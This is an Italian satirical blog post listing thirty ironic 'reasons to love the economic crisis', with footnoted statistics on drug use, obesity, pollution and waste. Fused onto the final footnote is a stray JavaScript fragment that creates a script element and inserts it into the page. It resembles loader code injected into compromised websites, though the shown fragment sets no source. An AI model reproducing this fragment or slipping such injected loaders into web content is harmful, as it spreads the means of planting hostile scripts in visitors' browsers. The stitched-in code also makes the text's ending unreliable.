È anche inutile che lo dica. Tutti lo sanno e lo sanno bene. L’argomento di moda imprescindibile e inderogabile degli ultimi anni è la crisi. Crisi economica, che è anche crisi morale, intellettuale, mentale, esistenziale. Crisi che è anche opportunità e invece no, invece si, invece no, invece si. Nonostante i continui sprazzi di ottimismo dell’ultimo periodo la devastante ventata di disoccupazione sembra non passare mai, quindi se proprio dobbiamo parlare di crisi parliamo delle opportunità che offre la crisi; non perché i lati positivi siano tanti, ma perché la crisi c’è e che ci piaccia o no dobbiamo farci i conti e i conti in tempi di crisi non tornano mai, vivono a Montecarlo e per adesso spendono lì i loro soldi. Quindi ecco trenta buoni motivi per imparare ad amare la crisi.

1) Polarizzazione dei contenuti nei Tg. Improvvisamente bestie di satana, ecstasy, pendolari pedofili e altro non occupano più uno spazio ossessivo, c’è la crisi e bisogna pensare a quella.

2) Il Billionaire ha chiuso!!!

3) Il consumo di droga e alcol è effettivamente calato. (Sempre che lo vediate come un bene)1.

4) I disfattisti emigrano.(Purtroppo i più accaniti no)

5) Le raccomandazioni in certi settori calano. Se un’azienda cerca di sopravvivere evita di prendersi rischi ed assume possibilmente persone competenti.

6) La manodopera si offre a condizioni lavorative da boom economico degli anni ’50.

7) L’obesità è in calo2.

8) L’inquinamento e il traffico sono in calo3.

9) Il crollo del mercato auto potrebbe spingere le aziende ad investire su innovazione ed energie pulite.

10) I clandestini tornano spontaneamente al loro paese. (Sempre che lo vediate come un bene)

12) Il punto 11 è in sciopero.

13) La crisi porta le persone ad informarsi, cercare di capire e fare rete.

2) Il punto 2 fa il crumiro e il doppio turno e lavora anche per il punto 11, quindi: Il Billionaire ha chiuso!!!

14) Si comincia ad essere (leggerissimamente) meno tolleranti per le piccole illegalità.

15) Tutti i detrattori storici del capitalismo suscitano maggiore attenzione che in passato.

16) L’inflazione è contenuta dall’abbassamento dei consumi4.

17) I discount hanno aumentato il loro giro d’affari.

18) I cine-panettoni sono quasi morti.

19) Se sei un imprenditore che offre lavoro a buone condizione apparirai come un Oscar Schindler seconda maniera, se lo offri ad altre condizioni come uno Schindler prima maniera.

20) I fumatori sono diminuiti sensibilmente5.

21) La verità è che la classe media non piaceva a nessuno.

22) Se le aziende del nord continuano a fallire con questi ritmi si ridurrà il divario con il sud.

23) Tornano i calzolai e gli arrotini.

24) I tuoi cantanti preferiti vengono a suonare sotto casa.

25) Aumentano le svendite!

26) La vendita e l’utilizzo di bici è in aumento.

27) Le cose si buttano via con meno facilità e questo porta ad una notevole riduzione dei rifiuti6.

28) Dopo la crisi non ci può essere un’altra crisi.

29) La generazione degli anni ottanta avrà poco da rinfacciare alle nuove generazioni.

30) Il trentesimo motivo per amare la crisi è che: non amarla non la farà finire prima.


1 Rapporto 24 luglio 2013 DPA
2 Rapporto 24 Ottore 2013 Ars Toscana
3 Rapporto su dati ambientali nelle città – Qualità dell’ambiente urbano. Dati Istat 23 Luglio 2013
4 Dati Istat Gennaio 2014
5 Decima edizione del Rapporto Osservasalute 2012 A cura dell’Osservatorio Nazionale sulla Salute nelle Regioni italiane
6 Rapporto annuale sui rifiuti urbani dell’Istituto superiore per la protezione e la ricerca ambientale (Ispra) 20 giugno 2013var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);